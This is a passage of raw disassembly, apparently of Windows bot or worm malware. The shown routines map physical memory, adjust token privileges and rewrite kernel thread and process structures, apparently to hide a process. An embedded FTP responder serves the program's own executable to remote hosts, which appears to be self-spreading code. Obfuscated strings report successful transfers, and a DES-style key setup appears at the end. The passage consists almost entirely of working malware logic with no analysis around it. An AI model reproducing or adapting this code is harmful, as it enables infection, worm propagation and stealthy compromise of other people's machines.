[eax+ecx*4] test al, 1 jz short loc_402AB0 test al, al jns short loc_402A69 mov esi, eax xor esi, edi and esi, 3FFFFFh xor esi, eax jmp short loc_402AAC ; --------------------------------------------------------------------------- loc_402A69: ; CODE XREF: sub_402A3D+1Cj and ax, 0F000h push 1000h push eax push 0 push 0F001Fh push dword_454A44 call dword_437040 ; MapViewOfFile mov ecx, edi shr ecx, 0Ch and ecx, 3FFh mov ecx, [eax+ecx*4] test cl, 1 jz short loc_402AB0 mov esi, ecx push eax xor esi, edi and esi, 0FFFh xor esi, ecx call dword_437048 ; UnmapViewOfFile loc_402AAC: ; CODE XREF: sub_402A3D+2Aj mov eax, esi jmp short loc_402AB2 ; --------------------------------------------------------------------------- loc_402AB0: ; CODE XREF: sub_402A3D+8j ; sub_402A3D+18j ... xor eax, eax loc_402AB2: ; CODE XREF: sub_402A3D+71j pop edi pop esi retn sub_402A3D endp ; =============== S U B R O U T I N E ======================================= sub_402AB5 proc near ; CODE XREF: sub_402BD7+92p ; sub_402BD7+A0p ... arg_0 = dword ptr 4 push esi push [esp+4+arg_0] push dword_454A40 call sub_402A3D mov esi, eax pop ecx test esi, esi pop ecx jz short loc_402AEB and ax, 0F000h push 1000h push eax push 0 push 4 push dword_454A44 call dword_437040 ; MapViewOfFile test eax, eax jnz short loc_402AEF loc_402AEB: ; CODE XREF: sub_402AB5+16j xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_402AEF: ; CODE XREF: sub_402AB5+34j shr esi, 2 and esi, 3FFh push eax mov esi, [eax+esi*4] call dword_437048 ; UnmapViewOfFile mov eax, esi pop esi retn sub_402AB5 endp ; =============== S U B R O U T I N E ======================================= sub_402B06 proc near ; CODE XREF: sub_402BD7+D0p ; sub_402BD7+DDp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] push dword_454A40 call sub_402A3D mov esi, eax pop ecx test esi, esi pop ecx jz short loc_402B3C and ax, 0F000h push 1000h push eax push 0 push 2 push dword_454A44 call dword_437040 ; MapViewOfFile test eax, eax jnz short loc_402B40 loc_402B3C: ; CODE XREF: sub_402B06+16j xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_402B40: ; CODE XREF: sub_402B06+34j mov ecx, [esp+4+arg_4] push eax shr esi, 2 and esi, 3FFh mov [eax+esi*4], ecx call dword_437048 ; UnmapViewOfFile xor eax, eax pop esi inc eax retn sub_402B06 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402B5C proc near ; CODE XREF: sub_402BD7+6Fp ; sub_402BD7+F5p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h lea eax, [ebp+var_4] push eax push 28h call dword_43704C ; GetCurrentProcess push eax call dword_437010 ; OpenProcessToken test eax, eax jnz short loc_402B7B leave retn ; --------------------------------------------------------------------------- loc_402B7B: ; CODE XREF: sub_402B5C+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call dword_437014 ; LookupPrivilegeValueA test eax, eax jz short loc_402BC9 mov eax, [ebp+var_10] mov [ebp+var_20], 1 mov [ebp+var_1C], eax mov eax, [ebp+var_C] mov [ebp+var_18], eax xor eax, eax cmp [ebp+arg_4], esi setz al lea eax, [eax+eax+2] mov [ebp+var_14], eax lea eax, [ebp+var_8] push eax push esi lea eax, [ebp+var_20] push 10h push eax push esi push [ebp+var_4] call dword_437018 ; AdjustTokenPrivileges mov esi, eax loc_402BC9: ; CODE XREF: sub_402B5C+32j push [ebp+var_4] call dword_437044 ; CloseHandle mov eax, esi pop esi leave retn sub_402B5C endp ; =============== S U B R O U T I N E ======================================= sub_402BD7 proc near ; CODE XREF: sub_418FA1+22Fp push ebx push ebp push esi push edi push offset dword_454040 mov dword_454040, 94h call dword_437050 ; GetVersionExA test eax, eax jz loc_402CE2 cmp dword_454044, 5 jnz loc_402CE2 mov eax, dword_454048 test eax, eax jnz short loc_402C1A mov edi, 0A0h mov ebx, 0A4h jmp short loc_402C3E ; --------------------------------------------------------------------------- loc_402C1A: ; CODE XREF: sub_402BD7+35j cmp eax, 1 jnz short loc_402C2B mov edi, 88h mov ebx, 8Ch jmp short loc_402C3E ; --------------------------------------------------------------------------- loc_402C2B: ; CODE XREF: sub_402BD7+46j cmp eax, 2 jnz loc_402CE2 mov edi, 8Ah mov ebx, 8Eh loc_402C3E: ; CODE XREF: sub_402BD7+41j ; sub_402BD7+52j mov ebp, offset aSesecuritypriv ; "SeSecurityPrivilege" push 1 push ebp call sub_402B5C pop ecx pop ecx call sub_402822 test eax, eax jz loc_402CE2 call sub_40292F cmp eax, 1 jnz short loc_402CDD push 0FFDFF124h call sub_402AB5 test eax, eax pop ecx jz short loc_402CD8 add eax, 44h push eax call sub_402AB5 mov esi, eax pop ecx test esi, esi jz short loc_402CD8 lea eax, [esi+edi] push eax call sub_402AB5 add esi, ebx mov edi, eax push esi call sub_402AB5 pop ecx mov esi, eax test edi, edi pop ecx jz short loc_402CD8 test esi, esi jz short loc_402CD8 lea eax, [edi+4] push esi push eax call sub_402B06 pop ecx test eax, eax pop ecx jz short loc_402CD8 push edi push esi call sub_402B06 pop ecx test eax, eax pop ecx jz short loc_402CD8 call sub_402A0E call sub_402871 push 0 push ebp call sub_402B5C pop ecx xor eax, eax pop ecx inc eax jmp short loc_402CE4 ; --------------------------------------------------------------------------- loc_402CD8: ; CODE XREF: sub_402BD7+9Aj ; sub_402BD7+AAj ... call sub_402A0E loc_402CDD: ; CODE XREF: sub_402BD7+8Bj call sub_402871 loc_402CE2: ; CODE XREF: sub_402BD7+1Bj ; sub_402BD7+28j ... xor eax, eax loc_402CE4: ; CODE XREF: sub_402BD7+FFj pop edi pop esi pop ebp pop ebx retn sub_402BD7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402CE9 proc near ; DATA XREF: sub_4020BA+F1o ; sub_406C69+DDo ... var_2E08 = byte ptr -2E08h var_6F8 = byte ptr -6F8h var_694 = byte ptr -694h var_480 = dword ptr -480h var_47C = byte ptr -47Ch var_3FC = dword ptr -3FCh var_3EC = dword ptr -3ECh var_3E8 = dword ptr -3E8h var_2E4 = byte ptr -2E4h var_2B0 = byte ptr -2B0h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_244 = dword ptr -244h var_148 = byte ptr -148h var_138 = byte ptr -138h var_D4 = byte ptr -0D4h var_A0 = word ptr -0A0h var_9E = word ptr -9Eh var_9C = dword ptr -9Ch var_90 = byte ptr -90h var_80 = dword ptr -80h var_7C = byte ptr -7Ch var_74 = byte ptr -74h var_70 = byte ptr -70h var_68 = byte ptr -68h var_64 = byte ptr -64h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_50 = byte ptr -50h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = byte ptr -40h var_3C = byte ptr -3Ch var_34 = byte ptr -34h var_30 = byte ptr -30h var_28 = dword ptr -28h var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 2E08h call sub_429B60 mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ABh mov esi, eax lea edi, [ebp+var_694] xor ebx, ebx rep movsd xor esi, esi push ebx inc esi push ebx mov [eax+2A4h], esi mov eax, [ebp+var_3EC] push ebx mov [ebp+var_8], eax mov eax, [ebp+var_480] push offset sub_41EB9C push ebx push ebx mov [ebp+var_44], esi mov [ebp+var_1C], esi mov [ebp+var_24C], ebx mov [ebp+var_3E8], ebx mov dword_454A30, eax call dword_437180 ; CreateThread push ebx push esi push 2 call dword_456FD0 ; socket lea ecx, [ebp+var_44] push 4 push ecx push 4 push 0FFFFh push eax mov dword_454A1C, eax call dword_456F10 ; setsockopt lea eax, [ebp+var_1C] push eax push 8004667Eh push dword_454A1C call dword_456FF4 ; ioctlsocket mov ax, word ptr dword_454A30 mov [ebp+var_A0], 2 push eax mov [ebp+var_9C], ebx call dword_456F38 ; ntohs mov [ebp+var_9E], ax lea eax, [ebp+var_A0] push 10h push eax push dword_454A1C call dword_456F6C ; bind test eax, eax jge short loc_402DC7 mov eax, esi jmp loc_40326F ; --------------------------------------------------------------------------- loc_402DC7: ; CODE XREF: sub_402CE9+D5j push 0Ah push dword_454A1C call dword_456F68 ; listen mov eax, dword_454A1C mov [ebp+var_24C], esi mov [ebp+var_248], eax mov [ebp+var_4], eax loc_402DE9: ; CODE XREF: sub_402CE9+137j ; sub_402CE9+57Ej push 41h lea eax, [ebp+var_3E8] pop ecx lea esi, [ebp+var_24C] push ebx push ebx push ebx push eax mov eax, [ebp+var_4] lea edi, [ebp+var_3E8] inc eax rep movsd push eax call dword_456F1C ; select cmp eax, 0FFFFFFFFh jz loc_40326C xor esi, esi cmp [ebp+var_4], ebx mov [ebp+arg_0], esi jl short loc_402DE9 loc_402E22: ; CODE XREF: sub_402CE9+578j push 64h lea eax, [ebp+var_2B0] push ebx push eax call sub_429760 push 64h lea eax, [ebp+var_138] push ebx push eax call sub_429760 add esp, 18h lea eax, [ebp+var_3E8] push eax push esi call dword_456DD8 ; __WSAFDIsSet test eax, eax jz loc_40325A mov eax, dword_454A1C cmp esi, eax jnz loc_402EEC lea ecx, [ebp+var_5C] mov [ebp+var_5C], 10h push ecx lea ecx, [ebp+var_148] push ecx push eax call dword_456FE4 ; accept cmp eax, 0FFFFFFFFh mov [ebp+var_28], eax jz loc_40325A mov edx, [ebp+var_24C] xor ecx, ecx cmp edx, ebx jbe short loc_402EA5 loc_402E97: ; CODE XREF: sub_402CE9+1BAj cmp [ebp+ecx*4+var_248], eax jz short loc_402EA5 inc ecx cmp ecx, edx jb short loc_402E97 loc_402EA5: ; CODE XREF: sub_402CE9+1ACj ; sub_402CE9+1B5j cmp ecx, edx jnz short loc_402EBB cmp edx, 40h jnb short loc_402EBB mov [ebp+ecx*4+var_248], eax inc [ebp+var_24C] loc_402EBB: ; CODE XREF: sub_402CE9+1BEj ; sub_402CE9+1C3j cmp eax, [ebp+var_4] jle short loc_402EC3 mov [ebp+var_4], eax loc_402EC3: ; CODE XREF: sub_402CE9+1D5j mov esi, offset a220 ; "220\r\n" lea edi, [ebp+var_7C] movsd lea eax, [ebp+var_7C] push ebx push eax movsw call sub_4293A0 pop ecx push eax lea eax, [ebp+var_7C] push eax push [ebp+var_28] call dword_456F8C ; send jmp loc_403257 ; --------------------------------------------------------------------------- loc_402EEC: ; CODE XREF: sub_402CE9+177j push ebx lea eax, [ebp+var_2B0] push 64h push eax push esi call dword_456F58 ; recv test eax, eax jg short loc_402F49 mov ecx, [ebp+var_24C] xor eax, eax cmp ecx, ebx jbe short loc_402F3D loc_402F0D: ; CODE XREF: sub_402CE9+230j cmp [ebp+eax*4+var_248], esi jz short loc_402F32 inc eax cmp eax, ecx jb short loc_402F0D jmp short loc_402F3D ; --------------------------------------------------------------------------- loc_402F1D: ; CODE XREF: sub_402CE9+24Cj mov ecx, [ebp+eax*4+var_244] mov [ebp+eax*4+var_248], ecx mov ecx, [ebp+var_24C] inc eax loc_402F32: ; CODE XREF: sub_402CE9+22Bj dec ecx cmp eax, ecx jb short loc_402F1D dec [ebp+var_24C] loc_402F3D: ; CODE XREF: sub_402CE9+222j ; sub_402CE9+232j push esi call dword_456FF0 ; closesocket jmp loc_40325A ; --------------------------------------------------------------------------- loc_402F49: ; CODE XREF: sub_402CE9+216j lea eax, [ebp+var_6F8] push eax lea eax, [ebp+var_138] push eax lea eax, [ebp+var_2B0] push offset aSS_1 ; "%s %s" push eax call sub_429E0E mov esi, dword_437178 add esp, 10h lea eax, [ebp+var_138] push offset aUser ; "USER" push eax call esi ; dword_437178 test eax, eax jnz short loc_402FA2 mov esi, offset a331 ; "331\r\n" lea edi, [ebp+var_58] movsd lea eax, [ebp+var_58] push ebx push eax movsw call sub_4293A0 pop ecx push eax lea eax, [ebp+var_58] jmp loc_40323B ; --------------------------------------------------------------------------- loc_402FA2: ; CODE XREF: sub_402CE9+298j lea eax, [ebp+var_138] push offset aPass ; "PASS" push eax call esi ; dword_437178 test eax, eax jnz short loc_402FD3 mov esi, offset a230 ; "230\r\n" lea edi, [ebp+var_70] movsd lea eax, [ebp+var_70] push ebx push eax movsw call sub_4293A0 pop ecx push eax lea eax, [ebp+var_70] jmp loc_40323B ; --------------------------------------------------------------------------- loc_402FD3: ; CODE XREF: sub_402CE9+2C9j lea eax, [ebp+var_138] push offset aPort ; "PORT" push eax call esi ; dword_437178 test eax, eax jnz loc_4030AE lea eax, [ebp+var_2E4] push eax lea eax, [ebp+var_D4] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_34] push eax lea eax, [ebp+var_74] push eax lea eax, [ebp+var_40] push eax lea eax, [ebp+var_2B0] push offset aS ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"... push eax call sub_429E0E lea eax, [ebp+var_D4] push eax call sub_42A100 mov esi, eax lea eax, [ebp+var_2E4] push eax call sub_42A100 mov edi, eax push 32h lea eax, [ebp+var_D4] push ebx push eax call sub_429760 push edi push esi lea eax, [ebp+var_D4] push offset aXX ; "%x%x\n" push eax call sub_429B03 add esp, 44h lea eax, [ebp+var_D4] push 10h push ebx push eax call sub_42A05E mov [ebp+var_80], eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_34] push eax lea eax, [ebp+var_74] push eax lea eax, [ebp+var_40] push eax lea eax, [ebp+var_90] push offset dword_43AB7C push eax call sub_429B03 mov esi, offset a200 ; "200\r\n" lea edi, [ebp+var_64] add esp, 24h lea eax, [ebp+var_64] movsd push ebx push eax movsw call sub_4293A0 pop ecx push eax lea eax, [ebp+var_64] jmp loc_40323B ; --------------------------------------------------------------------------- loc_4030AE: ; CODE XREF: sub_402CE9+2FAj lea eax, [ebp+var_138] push offset aRetr ; "RETR" push eax call esi ; dword_437178 test eax, eax jnz loc_4031F4 mov esi, offset a150 ; "150\r\n" lea edi, [ebp+var_10] movsd lea eax, [ebp+var_10] push ebx push eax movsw call sub_4293A0 pop ecx push eax lea eax, [ebp+var_10] push eax push [ebp+arg_0] call dword_456F8C ; send lea eax, [ebp+var_48] push eax lea eax, [ebp+var_47C] push [ebp+var_3FC] push eax lea eax, [ebp+var_2E08] push [ebp+var_3EC] push eax lea eax, [ebp+var_90] push [ebp+var_80] push eax call sub_403276 add esp, 1Ch test eax, eax jz loc_4031D8 push [ebp+var_48] call sub_4032D2 pop ecx mov esi, offset a226 ; "226\r\n" test eax, eax push ebx jle loc_4031C2 lea edi, [ebp+var_50] lea eax, [ebp+var_50] movsd push eax movsw call sub_4293A0 pop ecx push eax lea eax, [ebp+var_50] push eax push [ebp+arg_0] call dword_456F8C ; send inc dword_457D08 cmp dword_454A4C, ebx jz short loc_40318E cmp dword_454A50, ebx jnz short loc_40319A lea eax, [ebp+var_90] push eax push offset aJt17j1imtvd1 ; "jt17J1ImTVD1" lea eax, [ebp+var_47C] push offset aSS_2 ; "%s -> %s" push eax push [ebp+var_8] call sub_41CE4A add esp, 14h loc_40318E: ; CODE XREF: sub_402CE9+478j cmp dword_454A50, ebx jz loc_403245 loc_40319A: ; CODE XREF: sub_402CE9+480j lea eax, [ebp+var_90] push eax push offset aJt17j1imtvd1 ; "jt17J1ImTVD1" lea eax, [ebp+var_47C] push offset aSS_2 ; "%s -> %s" push eax push [ebp+var_8] call sub_41CDD4 add esp, 14h jmp loc_403245 ; --------------------------------------------------------------------------- loc_4031C2: ; CODE XREF: sub_402CE9+448j lea edi, [ebp+var_18] lea eax, [ebp+var_18] movsd push eax movsw call sub_4293A0 pop ecx push eax lea eax, [ebp+var_18] jmp short loc_40323B ; --------------------------------------------------------------------------- loc_4031D8: ; CODE XREF: sub_402CE9+431j mov esi, offset a425 ; "425\r\n" lea edi, [ebp+var_24] movsd lea eax, [ebp+var_24] push ebx push eax movsw call sub_4293A0 pop ecx push eax lea eax, [ebp+var_24] jmp short loc_40323B ; --------------------------------------------------------------------------- loc_4031F4: ; CODE XREF: sub_402CE9+3D5j lea eax, [ebp+var_138] push offset aQuit ; "QUIT" push eax call esi ; dword_437178 test eax, eax push ebx jnz short loc_403222 mov esi, offset a221 ; "221\r\n" lea edi, [ebp+var_30] movsd lea eax, [ebp+var_30] push eax movsw call sub_4293A0 pop ecx push eax lea eax, [ebp+var_30] jmp short loc_40323B ; --------------------------------------------------------------------------- loc_403222: ; CODE XREF: sub_402CE9+51Cj mov esi, offset a503 ; "503\r\n" lea edi, [ebp+var_3C] movsd lea eax, [ebp+var_3C] push eax movsw call sub_4293A0 pop ecx push eax lea eax, [ebp+var_3C] loc_40323B: ; CODE XREF: sub_402CE9+2B4j ; sub_402CE9+2E5j ... push eax push [ebp+arg_0] call dword_456F8C ; send loc_403245: ; CODE XREF: sub_402CE9+4ABj ; sub_402CE9+4D4j push 64h lea eax, [ebp+var_2B0] push ebx push eax call sub_429760 add esp, 0Ch loc_403257: ; CODE XREF: sub_402CE9+1FEj mov esi, [ebp+arg_0] loc_40325A: ; CODE XREF: sub_402CE9+16Aj ; sub_402CE9+19Cj ... inc esi cmp esi, [ebp+var_4] mov [ebp+arg_0], esi jle loc_402E22 jmp loc_402DE9 ; --------------------------------------------------------------------------- loc_40326C: ; CODE XREF: sub_402CE9+129j xor eax, eax inc eax loc_40326F: ; CODE XREF: sub_402CE9+D9j pop edi pop esi pop ebx leave retn 4 sub_402CE9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403276 proc near ; CODE XREF: sub_402CE9+427p var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 10h push esi push 0 push 1 push 2 call dword_456FD0 ; socket mov esi, [ebp+arg_18] push [ebp+arg_0] mov [ebp+var_10], 2 mov [esi], eax call dword_456F7C ; inet_addr push [ebp+arg_4] mov [ebp+var_C], eax call dword_456F38 ; ntohs mov [ebp+var_E], ax lea eax, [ebp+var_10] push 10h push eax push dword ptr [esi] call dword_456EBC ; connect cmp eax, 0FFFFFFFFh jnz short loc_4032CC push dword ptr [esi] call dword_456FF0 ; closesocket xor eax, eax jmp short loc_4032CF ; --------------------------------------------------------------------------- loc_4032CC: ; CODE XREF: sub_403276+48j xor eax, eax inc eax loc_4032CF: ; CODE XREF: sub_403276+54j pop esi leave retn sub_403276 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4032D2 proc near ; CODE XREF: sub_402CE9+43Ap var_1108 = byte ptr -1108h var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1108h call sub_429B60 push ebx push esi push edi lea eax, [ebp+var_108] push 104h xor edi, edi push eax push edi call dword_43717C ; GetModuleFileNameA lea eax, [ebp+var_108] push offset aRb ; "rb" push eax call sub_42A50C mov esi, eax pop ecx xor ebx, ebx cmp esi, edi pop ecx mov [ebp+var_4], edi jz short loc_403381 push 2 push edi push esi call sub_42A422 push esi call sub_42A29F push edi push edi push esi mov [ebp+var_4], eax call sub_42A422 add esp, 1Ch jmp short loc_40337B ; --------------------------------------------------------------------------- loc_403334: ; CODE XREF: sub_4032D2+ADj push 1000h lea eax, [ebp+var_1108] push edi push eax call sub_429760 push esi push 800h lea eax, [ebp+var_1108] push 1 push eax call sub_42A188 add esp, 1Ch test byte ptr [esi+0Ch], 20h jnz short loc_403381 cmp eax, edi jle short loc_40337B push edi push eax lea eax, [ebp+var_1108] push eax push [ebp+arg_0] call dword_456F8C ; send add ebx, eax loc_40337B: ; CODE XREF: sub_4032D2+60j ; sub_4032D2+93j test byte ptr [esi+0Ch], 10h jz short loc_403334 loc_403381: ; CODE XREF: sub_4032D2+41j ; sub_4032D2+8Fj push esi call sub_42A10B pop ecx push [ebp+arg_0] call dword_456FF0 ; closesocket mov eax, [ebp+var_4] pop edi sub eax, ebx pop esi neg eax sbb eax, eax not eax and eax, ebx pop ebx leave retn sub_4032D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4033A3 proc near ; CODE XREF: sub_40A9FE+153p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi push 0Ch xor edi, edi xor ebx, ebx call sub_42381F cmp eax, edi pop ecx jle loc_40345D mov esi, eax imul esi, 2724h cmp dword_46D72C[esi], edi jz short loc_4033CE inc ebx loc_4033CE: ; CODE XREF: sub_4033A3+28j push dword_454A1C and byte ptr dword_46B010[esi], 0 mov dword_46D72C[esi], edi mov dword_46D720[esi], edi mov dword_46D724[esi], edi mov dword_46D728[esi], edi call dword_456FF0 ; closesocket push edi push dword_46D72C[esi] call dword_437054 ; TerminateThread cmp ebx, edi jz short loc_40345D cmp [ebp+arg_8], 0 mov ebx, offset aBnjcz_zig1m0 ; "bNJcZ.ziG1m0" mov esi, offset aJt17j1imtvd1 ; "jt17J1ImTVD1" mov edi, offset aSSDS ; "%s %s %d %s" jnz short loc_40343D cmp [ebp+arg_C], 0 jnz short loc_403443 push offset aTfee90w_vdg1u8 ; "TFEE90W.vdG1u8Ajp1eidrT.d2k2X/no6gm/" push 1 push ebx push esi push edi push [ebp+arg_0] push [ebp+arg_4] call sub_41CE4A add esp, 1Ch loc_40343D: ; CODE XREF: sub_4033A3+7Aj cmp [ebp+arg_C], 0 jz short loc_4034A0 loc_403443: ; CODE XREF: sub_4033A3+80j push offset aTfee90w_vdg1u8 ; "TFEE90W.vdG1u8Ajp1eidrT.d2k2X/no6gm/" push 1 push ebx push esi push edi push [ebp+arg_0] push [ebp+arg_4] call sub_41CDD4 add esp, 1Ch jmp short loc_4034A0 ; --------------------------------------------------------------------------- loc_40345D: ; CODE XREF: sub_4033A3+14j ; sub_4033A3+65j cmp [ebp+arg_8], 0 mov esi, offset aJt17j1imtvd1 ; "jt17J1ImTVD1" mov ebx, offset aIbtox1Hofe0hcx ; "IBtOx1/HOfe0Hcxmb/oUlVg00eWuQ.F61Hj/" mov edi, offset aSS_1 ; "%s %s" jnz short loc_403489 cmp [ebp+arg_C], 0 jnz short loc_40348F push ebx push esi push edi push [ebp+arg_0] push [ebp+arg_4] call sub_41CE4A add esp, 14h loc_403489: ; CODE XREF: sub_4033A3+CDj cmp [ebp+arg_C], 0 jz short loc_4034A0 loc_40348F: ; CODE XREF: sub_4033A3+D3j push ebx push esi push edi push [ebp+arg_0] push [ebp+arg_4] call sub_41CDD4 add esp, 14h loc_4034A0: ; CODE XREF: sub_4033A3+9Ej ; sub_4033A3+B8j ... pop edi pop esi pop ebx pop ebp retn sub_4033A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4034A5 proc near ; CODE XREF: sub_407F55+3Ap var_F4 = byte ptr -0F4h var_F0 = byte ptr -0F0h var_90 = byte ptr -90h var_74 = byte ptr -74h var_3C = byte ptr -3Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0F4h push ebx push esi xor ebx, ebx push edi xor ecx, ecx loc_4034B5: ; CODE XREF: sub_4034A5+37j movzx eax, byte_43AE00[ecx] mov esi, [ebp+arg_0] mov edx, eax sar edx, 3 and eax, 7 mov dl, [edx+esi] test byte_43AD90[eax*2], dl setnz al mov [ebp+ecx+var_74], al inc ecx cmp ecx, 38h jl short loc_4034B5 mov [ebp+arg_0], ebx mov [ebp+var_4], 1Eh loc_4034E8: ; CODE XREF: sub_4034A5+F2j cmp [ebp+arg_4], 1 jnz short loc_4034F3 mov eax, [ebp+var_4] jmp short loc_4034F8 ; --------------------------------------------------------------------------- loc_4034F3: ; CODE XREF: sub_4034A5+47j mov eax, [ebp+arg_0] add eax, eax loc_4034F8: ; CODE XREF: sub_4034A5+4Cj lea ecx, [ebp+eax*4+var_F0] lea esi, [ebp+eax*4+var_F4] mov eax, [ebp+arg_0] xor edx, edx mov [ecx], ebx mov [esi], ebx movzx eax, byte ptr dword_43AE38[eax] mov edi, eax loc_403518: ; CODE XREF: sub_4034A5+8Ej cmp edi, 1Ch jge short loc_403523 mov bl, [ebp+edi+var_74] jmp short loc_40352A ; --------------------------------------------------------------------------- loc_403523: ; CODE XREF: sub_4034A5+76j mov bl, [ebp+edi+var_90] loc_40352A: ; CODE XREF: sub_4034A5+7Cj mov [ebp+edx+var_3C], bl inc edx inc edi cmp edx, 1Ch jl short loc_403518 push 1Ch pop edi add eax, edi loc_40353A: ; CODE XREF: sub_4034A5+B0j cmp eax, 38h jge short loc_403545 mov dl, [ebp+eax+var_74] jmp short loc_40354C ; --------------------------------------------------------------------------- loc_403545: ; CODE XREF: sub_4034A5+98j mov dl, [ebp+eax+var_90] loc_40354C: ; CODE XREF: sub_4034A5+9Ej mov [ebp+edi+var_3C], dl inc edi inc eax cmp edi, 38h jl short loc_40353A xor ebx, ebx xor eax, eax loc_40355B: ; CODE XREF: sub_4034A5+E5j lea edx, dword_43AE60[eax] movzx edi, byte ptr [edx-18h] cmp [ebp+edi+var_3C], bl jz short loc_403574 mov edi, dword_43ADA0[eax*4] or [esi], edi loc_403574: ; CODE XREF: sub_4034A5+C4j movzx edx, byte ptr [edx] cmp [ebp+edx+var_3C], bl jz short loc_403586 mov edx, dword_43ADA0[eax*4] or [ecx], edx loc_403586: ; CODE XREF: sub_4034A5+D6j inc eax cmp eax, 18h jl short loc_40355B sub [ebp+var_4], 2 inc [ebp+arg_0] cmp [ebp+var_4], 0FFFFFFFEh jg loc_4034E8 lea eax, [ebp+var_F4] push eax call sub_4035AF pop ecx pop edi pop esi pop ebx leave retn sub_4034A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4035AF proc near ; CODE XREF: sub_4034A5+FFp var_84 = byte ptr -84h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 84h push ebx push esi push edi lea edx, [ebp+var_84] mov [ebp+var_4], 10h loc_4035C8: ; CODE XREF: sub_4035AF+8Dj mov eax, [ebp+arg_0] add [ebp+arg_0], 4 mov ecx, [ebp+arg_0] add [ebp+arg_0], 4 mov eax, [eax] mov ecx, [ecx] mov esi, eax and esi, 0FC0h mov edi, eax shl esi, 4 and edi, 0FC0000h mov ebx, ecx or esi, edi mov edi, ecx shr edi, 4 and edi, 0FC000h and ebx, 0FC0h or edi, ebx shl esi, 6 shr edi, 6 or esi, edi mov [edx], esi mov esi, eax and esi, 3Fh and eax, 3F000h shl esi, 4 or esi, eax mov eax, ecx shr eax, 4 shl esi, 0Ch and eax, 3F00h and ecx, 3Fh or esi, eax add edx, 4 or esi, ecx mov [edx], esi add edx, 4 dec [ebp+var_4] jnz short loc_4035C8 lea eax, [ebp+var_84] push eax call sub_403650 pop ecx pop edi pop esi pop ebx leave retn sub_4035AF endp ; =============== S U B R O U T I N E ======================================= sub_403650 proc near ; CODE XREF: sub_4035AF+96p arg_0 = dword ptr 4 mov ecx, [esp+arg_0] mov eax, offset dword_454A58 loc_403659: ; CODE XREF: sub_403650+18j mov edx, [ecx] add ecx, 4 mov [eax], edx add eax, 4 cmp eax, offset dword_454AD8 jb short loc_403659 retn sub_403650 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40366B proc near ; CODE XREF: sub_407F55+49p var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx lea eax, [ebp+var_8] push eax push [ebp+arg_0] call sub_40369B lea eax, [ebp+var_8] push offset dword_454A58 push eax call sub_403721 push [ebp+arg_4] lea eax, [ebp+var_8] push eax call sub_4036E8 add esp, 18h leave retn sub_40366B endp ; =============== S U B R O U T I N E ======================================= sub_40369B proc near ; CODE XREF: sub_40366B+Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] mov eax, [esp+arg_4] movzx edx, byte ptr [ecx] shl edx, 18h inc ecx mov [eax], edx movzx edx, byte ptr [ecx] shl edx, 10h or [eax], edx inc ecx xor edx, edx mov dh, [ecx] or [eax], edx inc ecx movzx edx, byte ptr [ecx] or [eax], edx inc ecx add eax, 4 movzx edx, byte ptr [ecx] shl edx, 18h inc ecx mov [eax], edx movzx edx, byte ptr [ecx] shl edx, 10h or [eax], edx inc ecx xor edx, edx mov dh, [ecx] or [eax], edx mov edx, [eax] movzx ecx, byte ptr [ecx+1] or ecx, edx mov [eax], ecx retn sub_40369B endp ; =============== S U B R O U T I N E ======================================= sub_4036E8 proc near ; CODE XREF: sub_40366B+26p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] mov eax, [esp+arg_4] mov dl, [ecx+3] mov [eax], dl mov dl, [ecx+2] inc eax mov [eax], dl mov dl, [ecx+1] inc eax mov [eax], dl mov dl, [ecx] inc eax add ecx, 4 mov [eax], dl mov dl, [ecx+3] inc eax mov [eax], dl mov dl, [ecx+2] inc eax mov [eax], dl mov dl, [ecx+1] inc eax mov [eax], dl mov cl, [ecx] mov [eax+1], cl retn sub_4036E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403721 proc near ; CODE XREF: sub_40366B+1Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] push 